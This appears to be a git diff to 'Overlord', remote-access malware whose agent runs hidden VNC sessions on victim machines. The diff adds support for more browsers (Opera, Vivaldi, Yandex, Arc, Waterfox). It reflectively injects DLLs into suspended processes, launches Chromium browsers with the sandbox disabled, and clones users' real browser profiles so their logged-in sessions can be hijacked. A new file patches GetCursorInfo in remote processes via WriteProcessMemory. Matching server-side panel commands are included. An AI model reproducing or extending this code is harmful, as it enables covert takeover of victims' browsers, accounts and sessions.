diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index 89b820d..f7df280 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -4,8 +4,8 @@ package capture import "errors" -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { - return errors.New("HVNC injection not supported on this platform") +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { + return 0, errors.New("HVNC injection not supported on this platform") } func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { @@ -18,3 +18,7 @@ type DXGIStatusFunc func(success bool, gpuPID uint32, message string) func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { return errors.New("HVNC injection not supported on this platform") } + +func CheckInstalledBrowsers() map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 0134965..12e9071 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -102,12 +102,12 @@ func enableDebugPrivilege() { // StartHVNCProcessInjected starts a process suspended on the HVNC desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { if filePath == "" { - return fmt.Errorf("empty file path") + return 0, fmt.Errorf("empty file path") } if len(dllBytes) == 0 { - return fmt.Errorf("empty DLL bytes") + return 0, fmt.Errorf("empty DLL bytes") } result, err := executeHVNCTask(hvncTask{ @@ -119,9 +119,9 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes replacePath: replacePath, }, 30*time.Second) if err != nil { - return err + return 0, err } - return result.err + return result.pid, result.err } // StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection. @@ -158,7 +158,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c if !clone { log.Printf("hvnc %s: starting without profile cloning", info.name) - return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") + pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") + if err != nil { + return err + } + if info.needsPatch && pid != 0 { + go patchOperaAsync(pid, 5, 2*time.Second) + } + return nil } realUserData := getBrowserUserDataDir(info) @@ -195,7 +202,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } } - return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) + pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) + if err != nil { + return err + } + if info.needsPatch && pid != 0 { + go patchOperaAsync(pid, 5, 2*time.Second) + } + return nil } // StartHVNCChromeInjected is kept for backward compatibility. @@ -204,12 +218,14 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes } type browserInfo struct { - name string - exeName string - exePaths []string // candidate exe locations (env vars expanded at runtime) - userData string // relative to LOCALAPPDATA (or APPDATA for Firefox) - useAppData bool // true = use APPDATA instead of LOCALAPPDATA - isFirefox bool // true for Firefox (different profile structure) + name string + exeName string + exePaths []string // candidate exe locations (env vars expanded at runtime) + userData string // relative to LOCALAPPDATA (or APPDATA for Firefox) + useAppData bool // true = use APPDATA instead of LOCALAPPDATA + isFirefox bool // true for Firefox (different profile structure) + flatProfile bool // true = no Default/Profile subdirs; treat all root dirs as profile content + needsPatch bool // true = apply GetCursorInfo patch after launch (Opera/Opera GX) } var browserInfoMap = map[string]browserInfo{ @@ -247,6 +263,70 @@ var browserInfoMap = map[string]browserInfo{ useAppData: true, isFirefox: true, }, + "opera": { + name: "Opera", + exeName: "opera.exe", + exePaths: []string{ + `\Programs\Opera\opera.exe`, + }, + userData: `Opera Software\Opera Stable`, + useAppData: true, + flatProfile: true, + needsPatch: true, + }, + "operagx": { + name: "Opera GX", + exeName: "opera.exe", + exePaths: []string{ + `\Programs\Opera GX\opera.exe`, + }, + userData: `Opera Software\Opera GX Stable`, + useAppData: true, + flatProfile: true, + needsPatch: true, + }, + "vivaldi": { + name: "Vivaldi", + exeName: "vivaldi.exe", + exePaths: []string{ + `\Vivaldi\Application\vivaldi.exe`, + }, + userData: `Vivaldi\User Data`, + }, + "yandex": { + name: "Yandex", + exeName: "browser.exe", + exePaths: []string{ + `\Yandex\YandexBrowser\Application\browser.exe`, + }, + userData: `Yandex\YandexBrowser\User Data`, + }, + "waterfox": { + name: "Waterfox", + exeName: "waterfox.exe", + exePaths: []string{ + `\Waterfox\waterfox.exe`, + }, + userData: `Waterfox`, + useAppData: true, + isFirefox: true, + }, + "arc": { + name: "Arc", + exeName: "Arc.exe", + exePaths: []string{ + `\Arc\Application\Arc.exe`, + }, + userData: `Arc\User Data`, + }, +} + +func CheckInstalledBrowsers() map[string]bool { + result := make(map[string]bool, len(browserInfoMap)) + for key, info := range browserInfoMap { + result[key] = findBrowserExe(info) != "" + } + return result } func findBrowserExe(info browserInfo) string { @@ -465,11 +545,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr jobs = append(jobs, copyJob{src: src, dst: dst}) } - // Get browser info to check if it's Firefox + // Get browser info to check profile structure isFirefox := false + flatProfile := false for _, bi := range browserInfoMap { if strings.EqualFold(bi.name, browserName) { isFirefox = bi.isFirefox + flatProfile = bi.flatProfile break } } @@ -480,20 +562,24 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr dst := filepath.Join(cloneBase, name) if entry.IsDir() { - // Check if this is a profile directory - isProfile := false - if isFirefox { - // Firefox profiles have names like "xxxxx.default-release" - isProfile = isFirefoxProfile(name) - } else { - // Chrome-based browsers use "Default" or "Profile X" - isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ") - } - - if isProfile { + if flatProfile { collectProfileDir(src, dst, skipDirs, collectFile) - } else if !skipDirs[strings.ToLower(name)] { - collectDirFiles(src, dst, collectFile) + } else { + // Check if this is a profile directory + isProfile := false + if isFirefox { + // Firefox profiles have names like "xxxxx.default-release" + isProfile = isFirefoxProfile(name) + } else { + // Chrome-based browsers use "Default" or "Profile X" + isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ") + } + + if isProfile { + collectProfileDir(src, dst, skipDirs, collectFile) + } else if !skipDirs[strings.ToLower(name)] { + collectDirFiles(src, dst, collectFile) + } } } else { collectFile(src, dst) @@ -667,19 +753,19 @@ func calcDirSize(dir string) int64 { return total } -func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error { +func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { if filePath == "" { - return fmt.Errorf("empty file path") + return 0, fmt.Errorf("empty file path") } if len(dllBytes) == 0 { - return fmt.Errorf("empty DLL bytes") + return 0, fmt.Errorf("empty DLL bytes") } // Create a page-file-backed named section containing the raw DLL bytes. // Child processes will open this section to reflectively inject themselves. shmHandle, shmName, err := createDLLSharedMemory(dllBytes) if err != nil { - return fmt.Errorf("failed to create DLL shared memory: %v", err) + return 0, fmt.Errorf("failed to create DLL shared memory: %v", err) } log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes)) @@ -689,7 +775,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes)) if err != nil { procCloseHandle.Call(shmHandle) - return fmt.Errorf("failed to create suspended process: %v", err) + return 0, fmt.Errorf("failed to create suspended process: %v", err) } log.Printf("hvnc inject: created suspended process PID %d", pid) @@ -699,7 +785,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD procCloseHandle.Call(hThread) terminateProcess(hProcess) procCloseHandle.Call(shmHandle) - return fmt.Errorf("DLL injection failed: %v", err) + return 0, fmt.Errorf("DLL injection failed: %v", err) } log.Printf("hvnc inject: DLL injected into PID %d", pid) @@ -714,7 +800,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD ret, _, _ := procResumeThread.Call(hThread) if ret == 0xFFFFFFFF { procCloseHandle.Call(hThread) - return fmt.Errorf("failed to resume thread") + return 0, fmt.Errorf("failed to resume thread") } procCloseHandle.Call(hThread) @@ -724,7 +810,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD go hvncDeferredGPUInject(pid, captureDllBytes) } - return nil + return pid, nil } func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { @@ -932,15 +1018,19 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) } args := " --window-position=0,0" - browserExes := map[string]bool{ - "chrome.exe": true, - "brave.exe": true, - "msedge.exe": true, + chromiumExes := map[string]bool{ + "chrome.exe": true, + "brave.exe": true, + "msedge.exe": true, + "opera.exe": true, + "vivaldi.exe": true, + "browser.exe": true, + "arc.exe": true, } baseName := strings.ToLower(filepath.Base(filePath)) - if browserExes[baseName] { + if chromiumExes[baseName] { args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox" - } else if baseName == "firefox.exe" { + } else if baseName == "firefox.exe" || baseName == "waterfox.exe" { args += " -no-remote -wait-for-browser" } cmdLine, err := syscall.UTF16FromString(filePath + args) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_patch_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_patch_windows.go new file mode 100644 index 0000000..ac74cfb --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_patch_windows.go @@ -0,0 +1,163 @@ +//go:build windows + +package capture + +import ( + "fmt" + "log" + "strings" + "syscall" + "time" + "unsafe" +) + +var ( + procGetProcAddress = kernel32.NewProc("GetProcAddress") + procLoadLibraryW = kernel32.NewProc("LoadLibraryW") + procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx") + procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") + procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx") + procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW") +) + +var psapi = syscall.NewLazyDLL("psapi.dll") + +const ( + pageExecuteReadWrite = 0x40 + listModulesAll = 0x03 +) + +func patchGetCursorInfo(pid uint32) error { + addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo") + if err != nil { + return fmt.Errorf("find GetCursorInfo: %w", err) + } + + // mov eax, 1; ret + patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3} + + hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid)) + if hProcess == 0 { + return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr) + } + defer procCloseHandle.Call(hProcess) + + var oldProtect uint32 + ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)), + pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect))) + if ret == 0 { + return fmt.Errorf("VirtualProtectEx: %v", callErr) + } + + var written uintptr + ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr, + uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), + uintptr(unsafe.Pointer(&written))) + if ret == 0 { + return fmt.Errorf("WriteProcessMemory: %v", callErr) + } + + verify := make([]byte, len(patch)) + var read uintptr + procReadProcessMemory.Call(hProcess, addr, + uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)), + uintptr(unsafe.Pointer(&read))) + if int(read) == len(patch) { + ok := true + for i := range patch { + if verify[i] != patch[i] { + ok = false + break + } + } + if !ok { + log.Printf("hvnc patch: verification mismatch for PID %d", pid) + } + } + + var dummy uint32 + procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)), + uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy))) + + return nil +} + +func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) { + dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName) + localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16))) + if localModule == 0 { + return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr) + } + + funcNameBytes, _ := syscall.BytePtrFromString(funcName) + localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes))) + if localFunc == 0 { + return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr) + } + + offset := localFunc - localModule + + remoteBase, err := getRemoteModuleBase(pid, dllName) + if err != nil { + return 0, err + } + + return remoteBase + offset, nil +} + +func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) { + hProcess, _, callErr := procOpenProcess.Call( + uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid)) + if hProcess == 0 { + return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr) + } + defer procCloseHandle.Call(hProcess) + + var modules [1024]uintptr + var cbNeeded uint32 + ret, _, callErr := procEnumProcessModules.Call(hProcess, + uintptr(unsafe.Pointer(&modules[0])), + uintptr(len(modules))*unsafe.Sizeof(modules[0]), + uintptr(unsafe.Pointer(&cbNeeded)), + listModulesAll) + if ret == 0 { + return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr) + } + + count := int(cbNeeded) / int(unsafe.Sizeof(modules[0])) + target := strings.ToLower(moduleName) + + var nameBuf [260]uint16 + for i := 0; i < count; i++ { + n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i], + uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf))) + if n == 0 { + continue + } + fullPath := syscall.UTF16ToString(nameBuf[:n]) + baseName := strings.ToLower(fullPath) + if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 { + baseName = baseName[idx+1:] + } + if baseName == target || baseName == target+".dll" { + return modules[i], nil + } + } + + return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid) +} + +func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) { + for attempt := 0; attempt < maxRetries; attempt++ { + if attempt > 0 { + time.Sleep(delay) + } + if err := patchGetCursorInfo(pid); err != nil { + log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err) + continue + } + log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid) + return + } + log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid) +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 2a95fbb..5b57d3f 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -223,6 +223,7 @@ type hvncTask struct { type hvncTaskResult struct { img *image.RGBA err error + pid uint32 } type startupInfo struct { @@ -459,7 +460,7 @@ func ensureHVNCThread() error { hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err) close(hvncThreadReady) for task := range hvncThreadTasks { - task.resp <- hvncTaskResult{nil, hvncThreadErr} + task.resp <- hvncTaskResult{err: hvncThreadErr} } return } @@ -480,7 +481,7 @@ func ensureHVNCThread() error { case hvncTaskStartProcess: result.err = startHVNCProcessOnThread(task.filePath) case hvncTaskStartProcessInjected: - result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) + result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) case hvncTaskMouseMove: result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 8ba26d0..5d07b6c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1472,6 +1472,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + case "hvnc_browser_check": + log.Printf("hvnc: browser availability check requested") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_browser_check", nil, func() { + browsers := capture.CheckInstalledBrowsers() + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{ + Type: "hvnc_browser_check_result", + Browsers: browsers, + }) + log.Printf("hvnc: browser check complete: %v", browsers) + }) + return nil + case "hvnc_lookup": payload, _ := envelope["payload"].(map[string]interface{}) exeName := "" @@ -1530,7 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process_injected", nil, func() { - if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil { + if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil { log.Printf("hvnc: injected process failed for %q: %v", filePath, err) } }) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 719788b..20436da 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -246,6 +246,11 @@ type HVNCLookupResult struct { Done bool `msgpack:"done"` } +type HVNCBrowserCheckResult struct { + Type string `msgpack:"type"` + Browsers map[string]bool `msgpack:"browsers"` +} + type ClipboardContent struct { Type string `msgpack:"type"` Text string `msgpack:"text"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index e91a7af..178ea08 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -378,6 +378,22 @@ import { checkFeatureAccess } from "./feature-gate.js"; } } + function handleBrowserCheckResult(msg) { + if (!msg.browsers || !contextMenu) return; + contextMenu.querySelectorAll("[data-browser]").forEach((btn) => { + const key = btn.dataset.browser; + if (key && msg.browsers[key] === false) { + btn.classList.add("browser-unavailable"); + } else { + btn.classList.remove("browser-unavailable"); + } + }); + } + + function requestBrowserCheck() { + sendCmd("hvnc_browser_check", {}); + } + function sendCmd(type, payload) { if (!activeClientId) { console.warn("No active client selected"); @@ -753,6 +769,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_browser_check_result") { + handleBrowserCheckResult(msg); + return; + } if (msg && msg.type === "hvnc_dxgi_status") { handleDXGIStatus(msg); return; @@ -784,6 +804,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_browser_check_result") { + handleBrowserCheckResult(msg); + return; + } if (msg && msg.type === "hvnc_dxgi_status") { handleDXGIStatus(msg); return; @@ -822,6 +846,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) }); } }); + requestBrowserCheck(); } function onWsClose() { @@ -1025,6 +1050,36 @@ import { checkFeatureAccess } from "./feature-gate.js"; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); + } else if (action === "start-opera") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning }); + } else if (action === "start-operagx") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning }); + } else if (action === "start-vivaldi") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning }); + } else if (action === "start-yandex") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning }); + } else if (action === "start-waterfox") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning }); + } else if (action === "start-arc") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning }); } else if (action === "start-custom") { hideContextMenu(); showCustomExeModal(); diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index 2d8414c..4679752 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -43,6 +43,7 @@ const NAV_GROUPS = [ children: [ { href: "/scripts", label: "Scripts", icon: "fa-code", iconColor: "text-cyan-400", linkId: "scripts-link" }, { href: "/socks5-manager", label: "Proxies", icon: "fa-network-wired", iconColor: "text-sky-400", linkId: "socks5-link" }, + { href: "/sol-publish", label: "Sol Publish", icon: "fa-link-slash", iconColor: "text-purple-400", linkId: "sol-publish-link", hidden: true }, ], }, { @@ -53,7 +54,6 @@ const NAV_GROUPS = [ children: [ { href: "/build", label: "Builder", icon: "fa-hammer", iconColor: "text-orange-400", linkId: "build-link", hidden: true }, { href: "/plugins", label: "Plugins", icon: "fa-puzzle-piece", iconColor: "text-violet-400", linkId: "plugins-link", hidden: true }, - { href: "/sol-publish", label: "Sol Publish", icon: "fa-link-slash", iconColor: "text-purple-400", linkId: "sol-publish-link", hidden: true }, ], }, { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 7a4fb46..b6fb4e8 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -185,76 +185,74 @@